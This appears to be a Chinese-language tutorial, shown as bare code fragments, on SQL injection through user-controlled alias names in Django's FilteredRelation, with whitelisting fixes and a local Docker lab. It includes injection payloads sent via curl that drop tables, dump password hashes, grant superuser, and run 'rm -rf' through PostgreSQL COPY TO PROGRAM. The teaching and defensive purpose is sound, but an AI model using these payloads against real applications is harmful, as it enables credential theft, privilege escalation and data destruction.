# 替代原始 SQL：SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

# 连接 books 与 authors，仅限活跃作者
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

# 用户希望按不同条件搜索
search_field = request.POST.get('field_name')  # 用户输入："title"、"author" 等

# 使用 **kwargs 动态创建字段
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

# 易受攻击的应用通常这样做：
user_input = request.POST.get('search_field')  # 攻击者控制此项

# 漏洞就在这里——用户输入成为 SQL 列别名
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ 危险
})

user_input = "malicious_field'; DROP TABLE users; --"

SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

# views.py - 常见易受攻击模式
def search_books(request):
    search_field = request.POST.get('search_by')  # "author"、"title"、"category"
    search_value = request.POST.get('search_value')
    
    # 开发者认为这很安全——但实际上并不安全！
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

# 攻击者发送此 POST 请求：
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

# 绝对不要这样做——将用户输入直接作为字典键
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL 注入！
})

# 安全——使用白名单验证
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("无效字段")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # 现已安全
})

# 安全——使用静态字段名
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

-- 提取敏感数据
'; SELECT username, password FROM auth_user; --

-- 修改数据
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

-- 执行系统命令（PostgreSQL，需安装相应扩展）
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"不允许使用字段 '{field_name}'")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

# 使用条件逻辑替代动态字段名
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("无效的搜索类型")

# 运行存在漏洞的 Django 应用
docker-compose up

# 测试漏洞
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'